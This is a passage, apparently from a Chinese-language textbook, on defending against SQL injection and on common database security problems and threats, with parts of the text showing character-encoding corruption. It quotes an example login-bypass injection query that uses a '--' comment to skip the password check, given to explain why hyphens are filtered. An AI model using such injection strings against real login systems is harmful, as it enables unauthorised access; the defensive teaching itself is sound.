'='1'”不同的結(jié)果。(2)刪除用戶輸入內(nèi)容中的所有連字符。防止攻擊者構(gòu)造出諸如“select*fromadminwherename='ztg'--andpassword=''”之類的查詢,因?yàn)檫@類查詢的后半部分已經(jīng)被(--)注釋掉,不再有效,攻擊者只要知道一個(gè)合法的用戶登錄名稱,根本不需要知道用戶的密碼就可以順利獲得訪問權(quán)限。(3)對(duì)于用來執(zhí)行查詢的數(shù)據(jù)庫賬戶,限制其權(quán)限。用不同的賬戶執(zhí)行查詢、插入、更新和刪除操作,可以防止原本用于執(zhí)行select命令的地方卻被用于執(zhí)行insert、update或delete命令。(4)過濾特殊字符。在接收URL參數(shù)時(shí)可以通過SetRequest()函數(shù)過濾特殊字符,防止SQL注入。函數(shù)名:SetRequest(ParaName,RequestType,ParaType)。ParaName:參數(shù)名稱,字符型。ParaType:參數(shù)類型,數(shù)字型(1表示數(shù)字,0表示字符)。RequestType:請(qǐng)求方式,數(shù)字型(0:直接請(qǐng)求,1:Request請(qǐng)求,2:post請(qǐng)求,3:get請(qǐng)求,4:Cookies請(qǐng)求,5:Web請(qǐng)求)。6.1.7如何防范SQL注入式攻擊2.用存儲(chǔ)過程來執(zhí)行所有的查詢SQL參數(shù)的傳遞方式將防止攻擊者利用單引號(hào)和連字符實(shí)施攻擊。此外,它還使得數(shù)據(jù)庫權(quán)限可以限制到只允許特定的存儲(chǔ)過程執(zhí)行,所有的用戶輸入必須遵循被調(diào)用的存儲(chǔ)過程的安全上下文,這樣就很難再發(fā)生注入式攻擊了。3.限制表單或查詢字符串輸入的長度如果用戶的登錄名最多只有15個(gè)字符,那么不要認(rèn)可表單中輸入的15個(gè)以上的字符,這將增加攻擊者在SQL命令中插入有害代碼的難度。4.檢查用戶輸入的合法性,確信輸入的內(nèi)容只包含合法的數(shù)據(jù)數(shù)據(jù)檢查應(yīng)當(dāng)在客戶端和服務(wù)器端都執(zhí)行,之所以要執(zhí)行服務(wù)器端驗(yàn)證,是為了彌補(bǔ)客戶端驗(yàn)證機(jī)制脆弱的安全性。因?yàn)樵诳蛻舳?,攻擊者完全有可能獲得網(wǎng)頁的源代碼,修改驗(yàn)證合法性的腳本(或者直接刪除腳本),然后將非法內(nèi)容通過修改后的表單提交給服務(wù)器。因此,要保證驗(yàn)證操作確實(shí)已經(jīng)執(zhí)行,唯一的辦法就是在服務(wù)器端也執(zhí)行驗(yàn)證。5.將用戶登錄名稱、密碼等數(shù)據(jù)加密保存加密用戶輸入的數(shù)據(jù),然后再將它與數(shù)據(jù)庫中保存的數(shù)據(jù)比較,這樣用戶輸入的數(shù)據(jù)不再對(duì)數(shù)據(jù)庫有任何特殊的意義,從而也就防止了攻擊者注入SQL命令。6.檢查提取數(shù)據(jù)的查詢所返回的記錄數(shù)量如果程序只要求返回一條記錄,但實(shí)際返回的記錄卻超過一條,那就當(dāng)作出錯(cuò)處理。另外,要遵循以下4條基本規(guī)則:(1)在構(gòu)造動(dòng)態(tài)SQL語句時(shí),一定要使用類型安全的參數(shù)編碼機(jī)制。(2)在部署Web應(yīng)用前,要做安全審評(píng)。在每次更新時(shí),還要認(rèn)真地對(duì)所有的編碼做安全審評(píng)。(3)不要把敏感的數(shù)據(jù)以明文的形式存放在數(shù)據(jù)庫里。(4)只給訪問數(shù)據(jù)庫的Web應(yīng)用所需的最低權(quán)限。6.2常見的數(shù)據(jù)庫安全問題及安全威脅數(shù)據(jù)庫中存放著重要的信息,可能是知識(shí)產(chǎn)權(quán)(如可口可樂的配方、Microsoft的程序源代碼),也可能是價(jià)格和交易數(shù)據(jù)或客戶信息(如某公司的客戶資料文檔)。數(shù)據(jù)庫中的這些數(shù)據(jù)作為商業(yè)信息或知識(shí),一旦遭受安全威脅,將帶來難以想象的嚴(yán)重后果。絕大多數(shù)企業(yè)甚至安全公司在規(guī)劃企業(yè)安全時(shí)往往把注意力集中于網(wǎng)絡(luò)和操作系統(tǒng)的安全,而忽視了最重要的數(shù)據(jù)庫安全。數(shù)據(jù)庫安全是一個(gè)廣闊的領(lǐng)域,從傳統(tǒng)的備份與恢復(fù)、認(rèn)證與訪問控制,到數(shù)據(jù)存儲(chǔ)和通信環(huán)節(jié)的加密,它作為操作系統(tǒng)之上的應(yīng)用平臺(tái),其安全與網(wǎng)絡(luò)和主機(jī)的安全息息相關(guān)。1.常見的數(shù)據(jù)庫安全問題盡管數(shù)據(jù)庫安全性很重要,但是多數(shù)企業(yè)還是不愿意在發(fā)生無可挽回的事件前著手考慮和解決相關(guān)的安全問題,下面列出了常見的數(shù)據(jù)庫安全問題。(1)脆弱的賬號(hào)設(shè)置。在許多成熟的操作系統(tǒng)環(huán)境中,由于受企業(yè)安全策略或政府規(guī)定的約束,數(shù)據(jù)庫用戶往往缺乏足夠的安全設(shè)置。例如,默認(rèn)的用戶賬號(hào)和密碼對(duì)大家都是公開的,卻沒被禁用或修改以防止非授權(quán)訪問。用戶賬號(hào)設(shè)置在缺乏基于字典的密碼強(qiáng)度檢查和用戶賬號(hào)過期控制的情況下,只能提供很有限的安全功能。(2)缺乏角色分離。傳統(tǒng)數(shù)據(jù)庫管理并沒有“安全管理員(SecurityAdministrator)”這一角色,這就迫使數(shù)據(jù)庫管理員(DBA)既要負(fù)責(zé)賬號(hào)的維護(hù)管理,又要專門對(duì)數(shù)據(jù)庫執(zhí)行性能和操作行為進(jìn)行調(diào)試跟蹤,從而導(dǎo)致管理效率低下。(3)缺乏審計(jì)跟蹤。數(shù)據(jù)庫審計(jì)經(jīng)常被DBA以提高性能或節(jié)省磁盤空間為由忽視或關(guān)閉,這就大大降低了管理分析的可靠性和效力。審計(jì)跟蹤對(duì)了解哪些用戶行為導(dǎo)致某些數(shù)據(jù)的產(chǎn)生至關(guān)重要,它將與數(shù)據(jù)直接相關(guān)的事件都記入日志。因此,監(jiān)視數(shù)據(jù)訪問和用戶行為是最基本的管理手段。(4)未利用的數(shù)據(jù)庫安全特征。為了實(shí)現(xiàn)個(gè)別應(yīng)用系統(tǒng)的安全而忽視數(shù)據(jù)庫安全是很常見的事情。但是,這些安全措施只應(yīng)用在客戶端軟件的用戶上,其他許多工具,如MicrosoftAccess和已有的通過OBDC或?qū)S袇f(xié)議連接數(shù)據(jù)庫的公用程序,它們都繞過了應(yīng)用層安全。因此,唯一可靠的安全功能都應(yīng)限定在數(shù)據(jù)庫系統(tǒng)內(nèi)部。6.2常見的數(shù)據(jù)庫安全問題及安全威脅2.?dāng)?shù)據(jù)庫的安全威脅(1)數(shù)據(jù)庫維護(hù)不當(dāng)。向數(shù)據(jù)庫中輸入了錯(cuò)誤或被修改的數(shù)據(jù),有的敏感數(shù)據(jù)在輸入過程中已經(jīng)泄露了,已經(jīng)失去應(yīng)有的價(jià)值;在數(shù)據(jù)庫維護(hù)(添加、刪除、修改)和利用過程中可能對(duì)數(shù)據(jù)的完整性造成破壞。(2)硬件故障。支持?jǐn)?shù)據(jù)庫系統(tǒng)的硬件環(huán)境故障,如斷電造成的信息丟失,硬盤故障致使數(shù)據(jù)庫中的數(shù)據(jù)讀不出來,環(huán)境災(zāi)害和人為破壞也是對(duì)數(shù)據(jù)庫系統(tǒng)的威脅。(3)功能弱的數(shù)據(jù)庫。如果數(shù)據(jù)庫系統(tǒng)的安全保護(hù)功能很弱,或根本沒有安全保護(hù)機(jī)制(如DBASE類數(shù)據(jù)庫),那么數(shù)據(jù)庫的攻擊者就很容易攻破數(shù)據(jù)庫。(4)權(quán)限分配混亂。數(shù)據(jù)庫管理員專業(yè)知識(shí)不夠,不能很好地利用數(shù)據(jù)庫的保護(hù)機(jī)制和安全策略,不能合理地分配用戶的權(quán)限,或經(jīng)若干次改動(dòng)后造成用戶權(quán)限與用戶級(jí)別混亂配合,可能會(huì)產(chǎn)生越權(quán)訪問的情況。(5)黑客的攻擊。網(wǎng)絡(luò)黑客或內(nèi)部惡意用戶整天琢磨操作系統(tǒng)和數(shù)據(jù)庫系統(tǒng)的漏洞,對(duì)網(wǎng)絡(luò)與數(shù)據(jù)庫的攻擊手段不斷翻新,千方百計(jì)地入侵系統(tǒng)。相反,各部門對(duì)數(shù)據(jù)庫的安全防護(hù)經(jīng)費(fèi)投入不足,研究深度不夠,系統(tǒng)的安全設(shè)施改進(jìn)速度跟不上黑客對(duì)系統(tǒng)破解的速度。(6)病毒的威脅。計(jì)算機(jī)病毒的威脅日益嚴(yán)重,直接威脅網(wǎng)絡(luò)數(shù)據(jù)庫服務(wù)器的安全。6.3.1數(shù)據(jù)庫系統(tǒng)安全體系數(shù)據(jù)庫系統(tǒng)的安全除依賴自身內(nèi)部的安全機(jī)制外,還與外部網(wǎng)絡(luò)環(huán)境、應(yīng)用環(huán)境、從業(yè)人員素質(zhì)等因素息息相關(guān),因此,從廣義上講,數(shù)據(jù)庫系統(tǒng)的

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
  • 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。

最新文檔

評(píng)論

0/150

提交評(píng)論